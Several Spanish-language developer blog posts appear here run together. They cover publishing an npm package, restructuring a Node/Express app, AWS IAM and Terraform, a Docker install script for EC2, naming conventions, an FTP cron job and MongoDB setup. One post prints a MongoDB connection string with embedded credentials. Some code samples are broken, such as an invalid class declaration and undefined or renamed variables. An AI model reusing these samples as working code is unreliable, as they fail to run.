        "space-before-blocks": "error",
        "space-before-function-paren": [
            "error",
            {
                "anonymous": "never",
                "named": "never",
                "asyncArrow": "always"
            }
        ],
        "space-in-parens": "error",
        "space-infix-ops": "error",
        "space-unary-ops": "error",
        "spaced-comment": "error",
        "yoda": "error",
        "@typescript-eslint/explicit-module-boundary-types": "off"
    }
}

En nuestro .prettierrc

{
    "parser": "typescript",
    "printWidth": 120,
    "singleQuote": true,
    "trailingComma": "all",
    "useTabs": true
}

Y hemos finalizado nuestras excesivas configuraciones, que si bien, no son del todo necesarias por ahora.

La logica de nuestra aplicación

En esta mini sección, definiremos el codigo que ira dentro de la carpeta src y subyacentes, siguiendo el mismo formato de la sección anterior.

En nuestro index.ts

import { SimpsonResponse } from './messages/simpson-response.message';

export default SimpsonResponse;

Dentro de la carpeta messages, en nuestro archivo simpson-response.message.ts

import { ISimpsonResponse } from '../interfaces/simpson-response.interface';

export const SimpsonResponse: ISimpsonResponse = {
    OK: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/200_xjzaks.png',
        code: 200,
        message: 'OK',
    },
    MOVED_PERMANENTLY: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/301_uk0qah.png',
        code: 301,
        message: 'Moved Permanently',
    },
    UNAUTHORIZED: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/401_pbvzql.png',
        code: 401,
        message: 'Unauthorized',
    },
    FORBIDDEN: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/403_w7pk5n.png',
        code: 403,
        message: 'Forbidden',
    },
    NOT_FOUND: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/404_bzafrw.png',
        code: 404,
        message: 'Not Found',
    },
    INTERNAL_SERVER_ERROR: {
        url: 'https://res.cloudinary.com/dzxzhwcjv/image/upload/v1669169546/thesimpsons/500_gomppl.png',
        code: 500,
        message: 'Internal Server Error',
    },
};

De esta forma, estamos creando un objeto custom con sus respectivas imagenes para algunos de los codigos de respuesta HTTP más comunes. Dichas imagenes, se alojan en un tier gratuito de Cloudinary.

Dentro de la carpeta interfaces en nuestro archivo message.interface.ts

export interface IMessage {
    url: string;
    code: number;
    message: string;
}

Dentro de la carpeta interfaces en nuestro archivo simpson-response.interface.ts

import { IMessage } from './message.interface';

export interface ISimpsonResponse {
    [key: string]: IMessage;
}

Y hemos finalizado una mini libreria de NodeJs con exito! 🔥 😎 Pero, ¿Cómo la publicamos al gestor de paquetes de Node, y ademas, como hacemos uso de ella?

Subiendo nuestro codigo a git

Debemos enlazar nuestro repositorio remoto con nuestro repositorio local, pero antes, necesitamos crearlos, de la siguiente forma:

Creamos nuestro repositorio remoto de la siguiente forma:

• Nos dirigimos a github y creamos nuestro repositorio

  

• Damos clic en Create repository con la configuracion por defecto.

Creamos nuestro repositorio local de la siguiente forma:

• Dentro de la carpeta que veniamos trabajando agregando el codigo, ejecutamos:

git init

• Procedemos a agregar al stage y realizar un commit

git add .
git commit -m "node-library commit example"

Y por ultimo, a enlazar dicho repositorio local, con nuestro repositorio remoto, copiando y pegando la secuencia de comandos que nos provee github:

Y por ultimo, subimos el codigo a dicho repositorio ejecutando

git push

Es posible, que en este paso la consola nos devuelva un comando con un upstream, en caso de que asi sea, ejecute ese comando para efectuar el push al repositorio remoto.

Publicando en npm

Ya tenemos nuestro proyecto en github, y solo falta subirlo a npm para que cualquier usuario pueda utilizarlo sin necesidad de clonarse o forkear su repositorio.

Es importante mencionar, que para poder publicarla, debemos tener npm actualizado y de forma global, por lo que, para asegurarnos podemos ejecutar:

npm install npm@latest -g

Continuando desde la consola, debemos loguearnos en nuestra cuenta de npm

npm login

Esto nos pedira, en primera instancia nuestro usuario (de npm) y nuestra contraseña.

Nota al margen, es que no se mostraran caracteres mientras escribamos dicha contraseña, pero si estaras escribiendo la misma. Presiona enter y entraras en la consola interactiva de npm.

Por ultimo, solo falta publicar.

npm publish

Y aprovecho a comentar, que el nombre que la libreria tomara es el nombre que se le ha asignado al proyecto en nuestro package.json

Y listo, hemos publicado nuestro primer paquete de Node en NPM! 🥳

Utilizando nuestra libreria

Por ultimo, los invito a utilizar dicha libreria titulada "Simpson-Response" en honor a las imagenes de Los Simpsons que representan fielmente algunos de los codigos de respuesta HTTP mas comunes.

Suponiendo que, o se tiene otro proyecto o se ha creado un server de prueba, puede instalar la libreria siguiendo el comando que le indique npm en su respectivo paquete.

En mi caso, el comando a ejecutar es

npm i simpson-response

Y para aquellos proyectos en typescript, la instalacion de types es

npm i --save-dev @types/simpson-response

Mientras que el uso es bastante sencillo 🙌

// Usage
import SimpsonResponse from 'simpson-response'

app.get('/', (req: Request, res: Response) => {
    res.send(SimpsonResponse.default.UNAUTHORIZED);
});

// Example
{
  "url": "SimpsonImage",
  "code": 401,
  "message": "Unauthorized"
}

Libreria en NPM.

Repositorio de Github.

Despedida

Espero se hayan entretenido, les guste y estén esperando el próximo.

¡Hasta pronto 👋!

La razón del título, es una mezcla de analogías entre Stairway to Heaven de Led Zeppelin y los círculos del infierno de la Divina Comedia de Dante Alighieri en los que se basó Alan Perez alias Scorpion para su charla en Nerdearla 2022 llamada justamente, Folder Hell.

Sin más preámbulos, ¡Comencemos!

Primeros pasos

Hagamos un clone de dicho repositorio.

git clone https://github.com/brahianpdev/blog-intro-backend-node-express-mongo

Instalemos las dependencias correspondientes y levantamos el proyecto.

npm install
npm run dev

Recordar que, se debe tener previamente creada una base de datos en Mongo y las variables de entorno configuradas correctamente en el archivo .env.

Una vez confirmamos que nuestro proyecto levanta correctamente, empezamos a reestructurar nuestros archivos y carpetas.

Arquitectura en capas vs Modular

Actualmente, nuestra estructura se ve de la siguiente forma:

Arquitectura de 4 capas

src
│   index.ts        # App entry point
└───controllers     # route controllers for all the endpoints of the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers

Arquitectura modular

src
│   index.ts        # App entry point
└── config      
└── products 
        └── controller
        └── service
        └── model
        └── repository
        └── route

La forma de interpretar el siguiente esquema es, que nuestra aplicación esta compuesta por dos modulos, uno de configuracion, y uno de productos.

Nota al margen, es que, el modulo productos en caso de necesitar una carpeta de configuración, sera dentro del propio modulo, no fuera. En el ejemplo, se supone configuraciones globales, como lo son por ejemplo, las variables de entorno.

Comencemos

Primeramente, podemos eliminar la carpeta explanation que solo fue creada a efectos practicos de explicaciones teoricas vistas en el articulo anterior. Tambien, eliminaremos los archivos relacionados al articulo de FTP (rutas, servicios).

Creemos una carpeta dentro de src, llamada products.

Seguidamente, movamos los siguientes archivos dentro de la carpeta recien creada.

- product.route.js
- product.controller.js
- product.service.js
- product.model.js
- product.repository.js

Correccion de errores

En este punto, si intentamos levantar nuestro proyecto, tendremos errores, principalmente, de importaciones.

node:internal/modules/cjs/loader:988
  throw err;
  ^

Error: Cannot find module './path...'
Require stack:
- src/routes/index.js

Por lo que, debemos recorrer cada uno de nuestros archivos ahora, dentro de la carpeta products, corrigiendo el path del que importa lo que necesita.

Por ejemplo, nuestro product.route, tiene lo siguiente:

const productsController = require("../controllers/products.controller");

Y pasaria a ser

const productsController = require("./products.controller");

Lo mismo, aplicaría para los demas archivos.

En este punto, tendríamos solo un problema de importacion, las rutas.

Dado que las rutas, son globales, procedemos a crear en nuestra carpeta config, un archivo llamado config.routes.js, de paso, aprovechamos a cambiar el nombre del archivo config, a uno con mas sentido con respecto a lo que se aloja en el, cambiándole el nombre a config.enviroment.js

Nuestro archivo config.routes.js, deberia tener lo siguiente:

const { Router } = require("express");
const routes = Router();

const productsRoutes = require("../products/products.route");

routes.use("/products", productsRoutes);

module.exports = routes;

Ahora, debemos corregir las importaciones asi como el nombramiento correcto de las mismas, quedando de la siguiente manera:

const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");

const enviromentConfig = require("./config/config.enviroment");
const routes = require("./config/config.routes");

mongoose
  .connect(enviromentConfig.db.mongo)
  .then((res) => {
    const app = express();

    app.use(
      express.urlencoded({
        extended: true,
      })
    );

    app.use(express.json());
    app.use(cors());
    app.use("/", routes);

    app.listen(config.app.port, () => {
      console.log(`🔥 Server is running at port ${config.app.port}`);
    });

    console.log("Connected to MongoDB");
  })
  .catch((error) => console.log(error));

Despedida

Y listo, hemos pasado de una arquitectura en capas a una modular.

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Dirigase a la página oficial de amazon, clickee en "Crear una cuenta de AWS" y complete los datos correspondientes. Posteriormente, valide su cuenta por el metodo que le sea mas cómodo.

El usuario asociado a la cuenta que acaba de crear, se la conocerá de ahora en más como usuario root. Y por prácticas recomendadas de AWS en cuanto a seguridad, se debe evitar por sobre todo, el uso de los servicios directamente con ella.

La solución: Es crear usuarios, políticas, grupos, o grupos de usuarios con los mínimos privilegios necesarios para ejecutar una acción determinada dentro de un servicio específico.

Creación de user IAM

Inicie sesión en su cuenta root, escoja el servicio IAM (Identity and Access Management), y dentro de este, clickee la pesta;a usuarios y luego en crear usuario.

Recordar elegir el mismo tipo de acceso que se aprecia en la imagen.

AWS recomienda crear un grupo para administrar los permisos de los usuarios.

Nótese que se ha filtrado por ec2, seleccionando Amazon EC2 FullAccess. Y al grupo se le ha nombrado como group-ec2.

Nota: También agregue permisos para IAM.

Al continuar el proceso, tendremos creado nuestro grupo llamado group-ec2 con una política asociada de Amazon EC2 FullAccess. Aparte, también he agregado una etiqueta llamada g-ec2.

En este punto, estaremos de nuevo en la creación de nuestro usuario IAM.

Hemos creado nuestro usuario, con él, se ha generado una contraseña automática como le habíamos definido (podemos descargar el usuario/password en formato .csv si lo deseamos). Además, nos indica el enlace por el cual tendremos que conectarnos a este usuario (hacerlo desde una ventana en incognito).

Desde el navegador en incognito:

La razon por la que en mi caso aparece brahisw-login, en lugar de exponer el ID de mi cuenta es gracias al uso de los alias, que puedes ver aqui

Nos pedirá que ingresemos una nueva contraseña. Y wala, estamos conectados a la consola de AWS desde un usuario IAM con privilegios necesarios para trabajar con ec2.

Dirigamosnos a IAM > Usuarios > [user recién creado] > Credenciales de seguridad > Crear una clave de acceso:

Tendremos un ID de clave de acceso, así como una key. Esto nos servirá para configurar las credenciales desde AWS CLI.

Instalaciones

1. Terraform
2. AWS CLI

Para instalar Terraform, podemos ejecutar el siguiente script de bash. Tenga en cuenta que esta instalación está pensada para distros basadas en Debian.

#!/bin/sh

curl -O https://releases.hashicorp.com/terraform/0.13.2/terraform_0.13.2_linux_amd64.zip && unzip terraform_0.13.2_linux_amd64.zip -d ~/.local/bin

sudo apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg-agent \
    software-properties-common

set -e

# Install dependencies.
sudo apt install -y curl apt-transport-https \
     software-properties-common ca-certificates

Ahora, para instalar AWS CLI:

sudo apt-get install python

sudo apt install awscli

aws configure

Al ejecutar este último comando, se nos pedirá la access key y la secret key, de la siguiente manera:

AWS Access Key ID [****************XXXX]: "YOUR ACCESS KEY"
AWS Secret Access Key [****************XXXX]: "YOUR SECRET KEY"
Default region name [us-east-1]: 
Default output format [text]:

Por último, necesitamos nuestro clave-par para posteriormente conectarnos a ssh. Para generarlo, desde nuestro usuario IAM, nos dirigimos a EC2 > Y abajo a la izquierda buscamos "pares de claves".

Y al darle crear, automáticamente se nos descargara nuestro archivo .pem

Nota: Importante antes de utilizarlo, desde la consola de linux darle los permisos de propietarios (4), grupos de usuarios (0), resto de usuarios (0), mediante la sentencia:

chmod 400 brahi-key-pair.pem

Terraform [Code time]

En su editor de preferencia, cree un archivo main.tf con el siguiente codigo:

provider "aws" {
  region     = "us-east-1"

  # credentials = "~/.aws/credentials"
}

data "aws_ami" "ubuntu" {
  most_recent = true

  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }

  owners = ["099720109477"] # Canonical
}

resource "aws_instance" "web" {
  ami           = data.aws_ami.ubuntu.id
  instance_type = "t2.micro"
  key_name = "brahi-key-pair"

  tags = {
    Name = "web-server"
  }
}

output "public_ip" {
  value       = aws_instance.web.public_ip
}

Ejecute terraform init

Y luego, terraform apply

Loguearse en instancia ec2 mediante ssh

Por último, ejecute:

ssh -i brahi-key-pair.pem ubuntu@54.146.138.128

Recordar cambiar el nombre del key-pair por el suyo

En caso de que reciba un conection timeout por parte de ssh, revisar el siguiente enlace aunque, en resumen, debe dirigirse a ec2 > grupos de seguridad > crear grupo con una regla de entrada para ssh con el protocolo TCP en el puerto 22.

Y listo.

Para desconectarse de nuestro servidor, simplemente ejecute exit.

Sin embargo, esta solución es demasiado sucia en cuanto a código se refiere. Para solucionarlo, podemos abstraer los cambios en sub archivos para facilitar la mantenibilidad y escalabilidad de nuestra infraestructura en un futuro.

En nuestro archivo main.tf dejaremos solamente el siguiente código:

resource "aws_instance" "web" {
  ami             = data.aws_ami.ubuntu.id
  instance_type   = var.instance_type
  tags = {
    Name = "web-server"
  }
}

output "public_ip" {
  value = aws_instance.web.public_ip
}

Crearemos un archivo llamado data.tf que contendrá la ami de ubuntu que estamos utilizando:

data "aws_ami" "ubuntu" {
  most_recent = true

  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }

  owners = ["099720109477"] # Canonical
}

Crearemos un archivo llamado provider.tf donde definiremos el proveedor con su respectiva región:

provider "aws" {
  region                  = var.aws_region

  # shared_credentials_file = "~/.aws/credentials" 
}

Y también un archivo llamado variables.tf:

variable "aws_region" {
  description = "AWS region for all resources."
  type    = string
  default = "us-east-1"
}

variable "keypair_name" {
    description = "Name of the keypair to use for the instances."
    type    = string
    default   = "PATH TO YOUR KEYPAIR NAME.pem"
}

variable "instance_type" {
    description = "Type of instance to launch."
    type    = string
    default   = "t2.micro"
}

Para verificar que todo funcione correctamente, podemos volver a ejecutar la secuencia de de comandos de terraform (init, plan, apply...)

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Creación de cuenta en AWS

Cree su cuenta como usuario raíz, pero tenga en cuenta que, por buenas prácticas se aconseja crear usuarios IAM asociados a esta para respetar las buenas prácticas de AWS que sugieren reiteradamente utilizar políticas de mínimo privilegio.

Para crear su cuenta, ingrese a AWS.

Creación de instancia EC2

Una vez tenga su cuenta creada, procedemos a la creación de nuestra instancia.

Para ello, damos clic en la esquina superior izquierda donde dice “Servicios”. Este nos despliega un filtro de búsqueda a su lado en el cual podemos filtrar por “ec2”. Al ingresar, nos encontraremos con el panel de administración de dicho servicio.

Nos dirigimos al panel lateral situado a la izquierda de nuestra pantalla (es desplegable). Y clickeamos en “Instancias”.

Si no tenemos ninguna instancia creada, aparecerá un listado vacío, de tener alguna se nos mostrará de la siguiente manera.

De clic ahora en “Lanzar instancia”, elija un nombre adecuado (relacionado a lo que esté haciendo en lo posible), elija un sistema operativo de preferencia (en mi caso suelo optar por Ubuntu). Y aquí, se le pedirá crear una nueva clave par.

Tener en cuenta que si estás en Linux, deberá descargar el archivo .pem, mientras que si está en Windows, sugiero descargar el archivo en formato .ppk para evitar un paso de conversión.

Una vez creado nuestro clave par, podemos simplemente dar en crear instancia.

Conexión vía SSH

Recordar que, la primera vez que realizamos este proceso, debemos darle permisos a nuestro archivo clave par. Por lo que, si estás en Linux bastaría con ejecutar:

chmod 400 node_app.pem

Y nos conectamos desde consola:

ssh -i "node_app.pem" user@ec0-00-000-000-00.compute-1.amazonaws.com

Mientras que si estás en Windows, deberá realizar la siguiente secuencia:

Right click on the file > properties > security > advanced > disable inheritance > 'Convert inherited permissions into explicit permission on this object'
Click on "allow | everyone | Full Control" > edit > 'select a principal' > type your username > 'check names' > select your username > ok > ok > ok (ok until all windows are closed)

Este 400, o su equivalente en Windows, corresponde a permisos para:

      4 = Propietarios
      0 = Grupos de usuarios
      0 = Resto de usuarios

Posteriormente nos conectamos utilizando el software PUTTY.

Agregue su IP Host. Este es su IPv4 público de su instancia de AWS.

Agregue su usuario a la configuración.

Por último, cargue su archivo .ppk

Y dé click en Open, esto le conectará a su instancia via SSH.

Si aparece un mensaje de error, simplemente de click en aceptar.

Se encontará con una consola como la siguiente:

La magia de bash

En este punto, habremos logrado una conexión exitosa. Por lo que podemos comenzar con nuestros scripts de bash para automatizar la tarea.

El siguiente script hará lo siguiente:

• Verificar si su sistema de AWS es Debian o Ubuntu.
• Instalará Docker y docker-compose según la verificación anterior.
• Descargará el repositorio de github para éste ejemplo.
• Se moverá dentro del repositorio, buildeará y pondrá en marcha los contenedores.

Nota: Mi aporte al script solo es la descarga del repositorio e instalación de los contenedores. En la sección de agradecimientos verán a quién se lo robé.

#!/bin/bash
sudo apt-get update
sudo apt-get install -y \
    linux-image-extra-$(uname -r) \
    linux-image-extra-virtual
sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
if [  -n "$(uname -a | grep Ubuntu)" ]; then
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
else
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/debian \
   $(lsb_release -cs) \
   stable"
fi
sudo apt-get update
sudo apt-get install -y docker-ce
sudo groupadd docker
sudo usermod -aG docker $USER

# Logout and In again
docker --version
docker run hello-world
# Install Docker Compose on Ubuntu
DC_VERSION=$(curl -L -s -H 'Accept: application/json' https://github.com/docker/compose/releases/latest | sed -e 's/.*"tag_name":"\([^"]*\)".*/\1/')
sudo curl -L "https://github.com/docker/compose/releases/download/$DC_VERSION/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version

# Download repository, build and run containers
git clone https://github.com/brahianpdev/tryhard-devops

cd tryhard-devops

docker-compose build --no-cache
docker-compose up -d

docker ps

echo "Finish!"

Copie el script anterior en un portapapeles, o téngalo a mano. Desde su consola de AWS, cree un archivo con el nombre que desee y dele permisos de ejecución.

touch automation.sh
chmod +x automation.sh

Luego, abra dicho archivo en nano:

nano automation.sh

Pegue el script, guarde y salga del editor.

Por último, ejecute el script:

./automation.sh

En algún momento de este proceso, se le pedirá que presione la tecla ENTER. Una vez finalizado, escribimos exit para desconectarnos de SSH.

Grupos de seguridad Nota al margen, es que, dado que nuestra aplicación de Node está corriendo en el puerto 3000, debemos habilitar dicho puerto en los grupos de seguridad de nuestra instancia.

Para ello, nos vamos a Instancias > Seguridad > Grupos de seguridad.

Por último, debemos comprobar el deploy de nuestra aplicación de Node en AWS.

Para hacerlo, seleccionamos nuestra instancia, y copiamos la Dirección IPv4 pública, a la cual le agregaremos después de dos puntos : el puerto 3000 de nuestra aplicación de Node, de la siguiente manera:

00.000.000.00:3000

Si puedes apreciar el mensaje que responde tu aplicación de Node, el deploy se ha realizado de forma exitosa.

Agradecimientos

Un especial agradecimiento a Rosana Suárez alias Roxross, DevSecops en Naranja X, quien dictó el bootcamp gratuito de DevOps abarcando fuertes pilares de forma práctica.

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Todo lenguaje de programación tiene una sintáxis a la cual adherirse. Según la tecnología que trabajemos, existirán ciertas convenciones o nomenclaturas de nombramiento u orden que los componentes interconectados en nuestra aplicación deberán respetar.

Por practicidad, los ejemplos a continuación estarán escritos para una aplicación de Node basada en una arquitectura en capas, sin embargo, conceptualmente, se puede trasladar a cualquier tecnología.

Nomenclatura o convenciones para un código consistente

Variables y funciones:

Siempre deben escribirse en camelCase, haciendo referencia explícita a lo que se alojará en ellas. Esto aplica también para las carpetas (salvo por el camelCase, que no).

// BAD PRACTICE
const products = await productRepository.getPrimaries();

function search () {
   // search some products
}

// GOOD PRACTICE
const primaryProducts = await productRepository.getPrimaries();

function searchProducts () {
   // search some products
}

Una práctica habitual trabajando en Node, es hacer el uso de clases de la siguiente manera:

class search () {
   constructor() {}

   async products() {
      // search some products
   }

   async categories() {
      // search some categories
   }
}

module.exports = new searchMethods();


// USAGE
const search = require(...path);

const products = search().products();

De esta forma, entendemos que, nuestra clase search, tiene un método para buscar productos, otro para buscar categorías, etc. Entonces no es necesario declarar una función llamada searchProducts.

Habiendo visto estos puntos sencillos, pero que muchas veces suelen olvidarse, podemos resumir que la importancia general está en el correcto nombramiento de las cosas.

Parámetros de alerta

• Si maneja lógica de negocios ⇒ Services
• Si necesita usar request o response ⇒ Controller
• Si necesita interactuar con la base de datos ⇒ Repository
• Si solo define el modelo de la base de datos ⇒ Model
• Si se usa para configurar o exponer datos especificos ⇒ Config

Cabe destacar que estos parámetros si bien aplican a arquitecturas de software como en capas, o modular, pueden haber situaciones donde dichos parámetros se desvirtuen un poco en cuánto al lugar donde se alojarán, pero no a lo que hacen referencia.

Cuando trabajamos sobre arquitectura en capas tenemos el formato mencionado en los parámetros de alerta, mientras que si fuese modular, tendríamos todas las funciones (services, controllers, repositories, etc), por módulo. Así mismo, tendría ciertos cambios si fuese hexagonal.

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Requisitos necesarios

Instalaciones

• Basic-FTP
• Cron
• Uuid

Necesitaremos tener instaladas las dependencias mencionadas anteriormente. Para ello, bastaría con ejecutar en una sola línea:

npm i node-cron uuid basic-ftp

Comenzamos a codear

Raíz de la aplicación

Comenzaremos editando nuestro index.js, agregando un cron schedule para definir el horario de sincronización. Quedándonos de la siguiente forma:

const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");
const cron = require('node-cron');

const config = require('./config/config');
const cronjobService = require('./services/cron.service');
const indexRoutes = require('./routes');

mongoose
  .connect(config.db.mongo)
  .then((res) => {

    const app = express();

    app.use(
      express.urlencoded({
        extended: true,
      })
    );

    app.use(express.json());

    app.use(cors());

    app.use("/", indexRoutes);

    cron.schedule('00 22 * * *', function () {
      cronjobService.scrapProvider();
    });

    app.listen(config.app.port, () => {
      console.log(`🔥 Server is running at port ${config.app.port}`);
    });

    console.log("Connected to MongoDB");
  })
  .catch((error) => console.log(error));

Como se ve, nuestro cron schedule, hace uso de nuestro cronjobService, pero éste no está definido. Dentro de la carpeta services, crearemos un archivo llamado cron.service.js

const scrapperService = require("./scrapper.service");

class CronJobService {
    constructor() { }

    async scrapProvider() {
        await scrapperService.scrap();
    }

}

module.exports = new CronJobService();

Services

Nuevamente, tenemos una importación que no está definida. Por ende, dentro de la carpeta services, crearemos un archivo llamado scrapper.service.js

const provider = require('../scrappers/provider.js');

class ScrapperService {
    constructor() { }

    async scrap() {
        return await provider.scrap();
    }
}

module.exports = new ScrapperService();

Como se aprecia en las importaciones, hemos importado a nuestro proveedor. Que también es un scrapper a definir. Por ende, crearemos una carpeta scrapers a la altura de src. Y dentro de esta, un archivo llamado provider.js

const ftpService = require('../services/ftp.service');
const { provider } = require('../config');

class Scrapper {
    constructor(config) {
        this.ftpService = new ftpService(config);
    }

    async scrap() {
        return await this.ftpService.run();
    }
}

module.exports = new Scrapper(provider);

En última instancia, por fin, se hace uso de nuestro servicio de FTP, el que se encargará de procesar las credenciales que vienene desde nuestro archivo de configuración, para saber cuál es el proveedor en cuestión y acceder efectivamente al servidor de FTP.

Para ello, crearemos, dentro de la carpeta services, un archivo llamado ftp.services.js

const ftp = require("basic-ftp");

class FtpService {
    constructor(config) {

        this.credentials = config.credentials;
        this.localPath = config.localPath;
        this.remotePath = config.remotePath;

        this.client = new ftp.Client();
    }

    async run() {
        this.client.ftp.verbose = true;
        await this.client.access(this.credentials);
        console.log('Connected to FTP');

        await this.download();
        await this.disconnect();
    }

    async download() {
        await this.client.downloadTo(this.localPath, this.remotePath);
        console.log('Downloaded file from FTP');
    }

    async disconnect() {
        await this.client.close();
        console.log('Disconnected from FTP');
    }
}

module.exports = FtpService;

Si se han fijado, anteriormente una de las importaciones es, precisamente una destructuración de provider, que viene desde un archivo de configuración. Sin embargo, éste aún, no está definido. Para ello, dentro de src, en la carpeta config, crearemos un archivo llamado provider.js

const path = require("path");

module.exports = {
    credentials: {
        host: process.env.FTP_HOST,
        user: process.env.FTP_USER,
        password: process.env.FTP_PASSWORD,
        port: process.env.FTP_PORT,
    },
    localPath: path.join(__dirname, "../temp", "provider.csv"),
    remotePath: 'provider.csv',
}

Nota: El puerto default de un servidor FTP, es 21 además, es necesario crear, a la altura de src, una carpeta llamada temp, donde se almacenará nuestro provider.csv

Config

Una vez tenemos definida nuestras credenciales en nuestro archivo de configuración, procedemos a crear un índice dentro de la misma carpeta config. Por ello, crearemos un archivo index.js

const providerConfig = require("../config/providers");

module.exports = {
  provider: providerConfig,
}

Routes

En esta instancia, tenemos desarrollada nuestra feature con las capas de abstracción correspondientes. Por lo que podemos simplemente, cambiar la hora en nuestro cron schedule para testear que, efectivamente funcione, o, mejor aún, podemos crear un endpoint para testear nuestra implementación de forma manual.

Dentro de nuestra carpeta routes, crearemos un archivo llamado test.route.js que haga uso, de nuestro cronjobService, el primer punto de nuestro flujo definido anteriormente.

const { Router } = require("express");
const routes = Router();

const cronjobService = require("../services/cron.service");

routes.post('/ftp', (req, res) => {
    cronjobService.scrapProvider();

    res.status(200).send('Ok');
});

module.exports = routes;

Nuevamente, dentro de la carpeta routes, debemos agregar el nuevo archivo de rutas a nuestro índice, por ello, dentro de index.js, agregamos lo siguiente:

const { Router } = require('express');
const routes = Router();

const productsRoutes = require('./products.route');
const testRoutes = require('./test.route');

routes.use('/products', productsRoutes);
routes.use('/test', testRoutes);

module.exports = routes;

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Requisitos necesarios

Node (versión LTS)

Express

Mongoose

MongoDB

Postman

Crea tu base de datos de MongoDB

Crearemos una cuenta desde la web oficial, aceptaremos los términos y condiciones. Definiremos los datos básicos de nuestra aplicación y seleccionaremos la versión gratuita.

Una vez hemos creado nuestro cluster (esto puede tardar unos minutos), definiremos el usuario y contraseña de nuestra base de datos.

Una vez hemos creado nuestro usuario, debemos ir a Network Access (situado a la izquierda del panel de administración), y agregar una dirección IP.

Una vez tenemos nuestro cluster, usuario e IP, podemos ir a la sección Database (situada a la izquierda del panel, en la parte superior), y elegir el método de conexión. Para este caso, elegiremos “Connect your application”.

Esto nos mostrará la URL de conexión a nuestra base de datos. Sin embargo, no muestra la contraseña establecida anteriormente. Para configurarlo correctamente, debemos eliminar los símbolos de menor y mayor, y escribir el valor de la contraseña en lugar de la palabra password.

mongodb+srv://brahiblog:brahiblog@cluster0.hfisa.mongodb.net/?retryWrites=true&w=majority

(Esta es una url de prueba. Recuerda, JAMÁS exponer datos sensibles de una aplicación real).

Lectura: function vs class

El pensar en un backend con export functions, supone una carga innecesaria de exportaciones e importaciones. Por otro lado, al usar clases bastaria solo una exportación e importación de la misma para tener acceso a todos sus métodos. Veamos un ejemplo con funciones:

// export functions
function SayHello () {
    console.log("Hello");
}

function SayBye () {
    console.log("Bye");
}

module.exports = { SayHello, SayBye };

// import functions
const { SayHello, SayBye } = require('./export-function');

SayHello();
SayBye();

Ahora veamos un ejemplo con clases:

// export class
class Say {
    async hello () {
        console.log("Hello");
    }

    async bye () {
        console.log("Bye");
    }
}

module.exports = new Say();

// import class
const sayClass = require('./export-class');

sayClass.hello();
sayClass.bye();

Si ejecutamos respectivos archivos en nuestra consola, obtendremos el mismo resultado.

> node import-function
Hello
Bye
> node import-class
Hello
Bye

Habiendo visto esta sutil diferencia, vamos a definir la estructura a seguir.

Estructura a seguir

Arquitectura de 4 capas

src
│   index.ts        # App entry point
└───controllers     # route controllers for all the endpoints of the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers

Problema a resolver

Una empresa está creciendo, y necesita un sistema donde pueda tener un registro de sus productos. Dentro de las funcionalidades que pide están, crear un nuevo producto, obtener todos los productos, obtener un producto específico, editar un producto específico y eliminar un producto específico. En otras palabras, se pide crear un CRUD de productos con sus respectivos endpoints.

Comenzamos a codear

Iniciar proyecto e instalación de dependencias Primero debemos inicializar nuestro proyecto de node, para ello, en terminal escribimos:

npm init --y

Se nos crearán dos archivos en nuestro proyecto (package.json y package-lock.json). Ahora debemos instalar las dependencias necesarias para construir nuestro servidor web.

npm i express cors mongoose dotenv

Express, es el framework que usaremos sobre Node. Cors es quien controla el acceso del protocolo HTTP, y Mongoose el ODM que usaremos para crear nuestros modelos de nuestra base de datos. Dotenv, será quien cargue las variables de entorno desde un archivo .env a nuestro process.env y almacenará dicha configuración.

Además, para facilitar la tarea de desarrollo usaremos una utilidad llamada nodemon, la que nos permitirá correr nuestro proyecto y refrescar los cambios de forma automática en tiempo real.

npm i nodemon -D

El flag -D indica que nodemon será utilizado como dependencia de desarrollo.

Configuraciones iniciales

Una vez tenemos nuestras dependencias instaladas, y conociendo la estructura que tendrá nuestro proyecto, podemos adelantarnos a configurar nodemon y la raíz de nuestro proyecto. Para ello, debemos ir a nuestro archivo llamado package.json

{
  "main": "src/index.js",
  "scripts": {
        "dev": "nodemon .",
    "start": "node ."
  },
}

Raiz de la aplicación

En el paso anterior, hemos configurado el punto de entrada de nuestra aplicación. Para que esto funcione, dentro de la carpeta src, crearemos un archivo llamado index.js

const express = require("express");
const mongoose = require("mongoose");
const cors = require("cors");

const config = require('./config');
const indexRoutes = require('./routes');

mongoose
  .connect(config.db.mongo)
  .then((res) => {

    const app = express();

    app.use(
